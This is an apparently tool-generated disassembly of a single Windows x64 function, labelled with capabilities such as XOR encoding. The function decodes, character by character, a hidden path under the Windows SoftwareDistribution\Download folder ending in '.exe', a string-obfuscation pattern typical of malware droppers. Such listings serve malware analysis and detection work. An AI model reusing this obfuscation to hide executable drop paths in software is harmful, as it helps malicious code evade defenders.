Function at 0x1400021c0
Capabilities:
Authenticate hmac
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov rsi, rcx
mov qword [rbp - 0x28], rcx
xor r15d, r15d
mov edx, 0x100
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, 0x5c
xor edx, edx
call fcn.140001000
mov word [rsp + 0x30], ax
mov ecx, 0x53
mov edx, 1
call fcn.140001000
mov word [rsp + 0x32], ax
mov ecx, 0x6f
mov edx, 2
call fcn.140001000
mov word [rsp + 0x34], ax
mov ecx, 0x66
mov edx, 3
call fcn.140001000
mov word [rsp + 0x36], ax
mov ecx, 0x74
mov edx, 4
call fcn.140001000
mov word [rsp + 0x38], ax
mov ecx, 0x77
mov edx, 5
call fcn.140001000
mov word [rsp + 0x3a], ax
mov ecx, 0x61
mov edx, 6
call fcn.140001000
mov word [rsp + 0x3c], ax
mov ecx, 0x72
mov edx, 7
call fcn.140001000
mov word [rsp + 0x3e], ax
mov ecx, 0x65
mov edx, 8
call fcn.140001000
mov word [rsp + 0x40], ax
mov ecx, 0x44
mov edx, 9
call fcn.140001000
mov word [rsp + 0x42], ax
mov ecx, 0x69
mov edx, 0xa
call fcn.140001000
mov word [rsp + 0x44], ax
mov ecx, 0x73
mov edx, 0xb
call fcn.140001000
mov word [rsp + 0x46], ax
mov ecx, 0x74
mov edx, 0xc
call fcn.140001000
mov word [rsp + 0x48], ax
mov ecx, 0x72
mov edx, 0xd
call fcn.140001000
mov word [rsp + 0x4a], ax
mov ecx, 0x69
mov edx, 0xe
call fcn.140001000
mov word [rsp + 0x4c], ax
mov ecx, 0x62
mov edx, 0xf
call fcn.140001000
mov word [rsp + 0x4e], ax
mov ecx, 0x75
mov edx, 0x10
call fcn.140001000
mov word [rsp + 0x50], ax
mov ecx, 0x74
mov edx, 0x11
call fcn.140001000
mov word [rsp + 0x52], ax
mov ecx, 0x69
mov edx, 0x12
call fcn.140001000
mov word [rsp + 0x54], ax
mov ecx, 0x6f
mov edx, 0x13
call fcn.140001000
mov word [rsp + 0x56], ax
mov ecx, 0x6e
mov edx, 0x14
call fcn.140001000
mov word [rsp + 0x58], ax
mov ecx, 0x5c
mov edx, 0x15
call fcn.140001000
mov word [rsp + 0x5a], ax
mov ecx, 0x44
mov edx, 0x16
call fcn.140001000
mov word [rsp + 0x5c], ax
mov ecx, 0x6f
mov edx, 0x17
call fcn.140001000
mov word [rsp + 0x5e], ax
mov ecx, 0x77
mov edx, 0x18
call fcn.140001000
mov word [rsp + 0x60], ax
mov ecx, 0x6e
mov edx, 0x19
call fcn.140001000
mov word [rsp + 0x62], ax
mov ecx, 0x6c
mov edx, 0x1a
call fcn.140001000
mov word [rsp + 0x64], ax
mov ecx, 0x6f
mov edx, 0x1b
call fcn.140001000
mov word [rsp + 0x66], ax
mov ecx, 0x61
mov edx, 0x1c
call fcn.140001000
mov word [rsp + 0x68], ax
mov ecx, 0x64
mov edx, 0x1d
call fcn.140001000
mov word [rsp + 0x6a], ax
mov ecx, 0x5c
mov edx, 0x1e
call fcn.140001000
mov word [rsp + 0x6c], ax
xor ecx, ecx
mov edx, 0x1f
call fcn.140001000
mov word [rsp + 0x6e], ax
mov edx, 0x20
movzx ecx, word [str.runas]
call fcn.140001000
mov word [rsp + 0x70], ax
mov edx, 0x21
movzx ecx, word [0x140009642]
call fcn.140001000
mov word [rsp + 0x72], ax
mov edx, 0x22
movzx ecx, word [0x140009644]
call fcn.140001000
mov word [rsp + 0x74], ax
mov edx, 0x23
movzx ecx, word [0x140009646]
call fcn.140001000
mov word [rsp + 0x76], ax
mov edx, 0x24
movzx ecx, word [0x140009648]
call fcn.140001000
mov word [rsp + 0x78], ax
mov edx, 0x25
movzx ecx, word [0x14000964a]
call fcn.140001000
mov word [rsp + 0x7a], ax
mov edx, 0x26
movzx ecx, word [0x14000964c]
call fcn.140001000
mov word [rsp + 0x7c], ax
mov edx, 0x27
movzx ecx, word [0x14000964e]
call fcn.140001000
mov word [rsp + 0x7e], ax
mov edx, 0x28
movzx ecx, word [0x140009650]
call fcn.140001000
mov word [rbp - 0x80], ax
mov edx, 0x29
movzx ecx, word [0x140009652]
call fcn.140001000
mov word [rbp - 0x7e], ax
mov edx, 0x2a
movzx ecx, word [0x140009654]
call fcn.140001000
mov word [rbp - 0x7c], ax
mov edx, 0x2b
movzx ecx, word [0x140009656]
call fcn.140001000
mov word [rbp - 0x7a], ax
mov edx, 0x2c
movzx ecx, word [0x140009658]
call fcn.140001000
mov word [rbp - 0x78], ax
mov edx, 0x2d
movzx ecx, word [0x14000965a]
call fcn.140001000
mov word [rbp - 0x76], ax
mov edx, 0x2e
movzx ecx, word [0x14000965c]
call fcn.140001000
mov word [rbp - 0x74], ax
mov edx, 0x2f
movzx ecx, word [0x14000965e]
call fcn.140001000
mov word [rbp - 0x72], ax
mov edx, 0x30
movzx ecx, word [str..exe]
call fcn.140001000
mov word [rbp - 0x70], ax
mov edx, 0x31
movzx ecx, word [0x140009662]
call fcn.140001000
mov word [rbp - 0x6e], ax
mov edx, 0x32
movzx ecx, word [0x140009664]
call fcn.140001000
mov word [rbp - 0x6c], ax
mov edx, 0x33
movzx ecx, word [0x140009666]
call fcn.140001000
mov word [rbp - 0x6a], ax
mov edx, 0x34
movzx ecx, word [0x140009668]
call fcn.140001000
mov word [rbp - 0x68], ax
mov edx, 0x35
movzx ecx, word [0x14000966a]
call fcn.140001000
mov word [rbp - 0x66], ax
mov edx, 0x36
movzx ecx, word [0x14000966c]
call fcn.140001000
mov word [rbp - 0x64], ax
mov edx, 0x37
movzx ecx, word [0x14000966e]
call fcn.140001000
mov word [rbp - 0x62], ax
mov edx, 0x38
movzx ecx, word [0x140009670]
call fcn.140001000
mov word [rbp - 0x60], ax
mov edx, 0x39
movzx ecx, word [0x140009672]
call fcn.140001000
mov word [rbp - 0x5e], ax
mov edx, 0x3a
movzx ecx, word [0x140009674]
call fcn.140001000
mov word [rbp - 0x5c], ax
mov edx, 0x3b
movzx ecx, word [0x140009676]
call fcn.140001000
mov word [rbp - 0x5a], ax
mov edx, 0x3c
movzx ecx, word [0x140009678]
call fcn.140001000
mov word [rbp - 0x58], ax
mov edx, 0x3d
movzx ecx, word [0x14000967a]
call fcn.140001000
mov word [rbp - 0x56], ax
mov edx, 0x3e
movzx ecx, word [0x14000967c]
call fcn.140001000
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
movdqa xmm4, xmmword [0x140009c00]
movdqa xmm5, xmmword [0x140009c20]
movsxd rdx, eax
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm5
paddw xmm3, xmm2
movq xmm0, qword [rsp + rdx*2 + 0x30]
xorps xmm3, xmm0
movq qword [rsp + rdx*2 + 0x30], xmm3
lea ecx, [rax + 4]
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm5
paddw xmm3, xmm2
movq xmm0, qword [rsp + rdx*2 + 0x38]
xorps xmm3, xmm0
movq qword [rsp + rdx*2 + 0x38], xmm3
lea ecx, [rax + 8]
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm5
paddw xmm3, xmm2
movq xmm0, qword [rsp + rdx*2 + 0x40]
xorps xmm3, xmm0
movq qword [rsp + rdx*2 + 0x40], xmm3
lea ecx, [rax + 0xc]
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm5
paddw xmm3, xmm2
movq xmm0, qword [rsp + rdx*2 + 0x48]
xorps xmm3, xmm0
movq qword [rsp + rdx*2 + 0x48], xmm3
add eax, 0x10
cmp eax, 0x30
jb 0x140002730
cmp eax, 0x3f
jae 0x14000283a
mov r8d, 0x133
nop
movsxd rcx, eax
lea rdx, [rsp + 0x30]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
xor word [rdx], cx
inc eax
cmp eax, 0x3f
jb 0x140002820
mov word [rbp - 0x52], r15w
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x20]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x140002860
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x50]
call fcn.140007010
nop
lea rax, [rsp + 0x30]
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140002880
mov r14, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, r14
cmp rdi, rax
ja 0x1400028d3
lea rax, [r14 + rdi]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rcx, 7
cmova rbx, qword [rbp - 0x50]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r15w
lea rax, [rbp - 0x50]
jmp 0x1400028e9
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x30]
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140006e50
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsi + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140002958
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002953
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002953
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
mov rax, rsi
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140007460
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret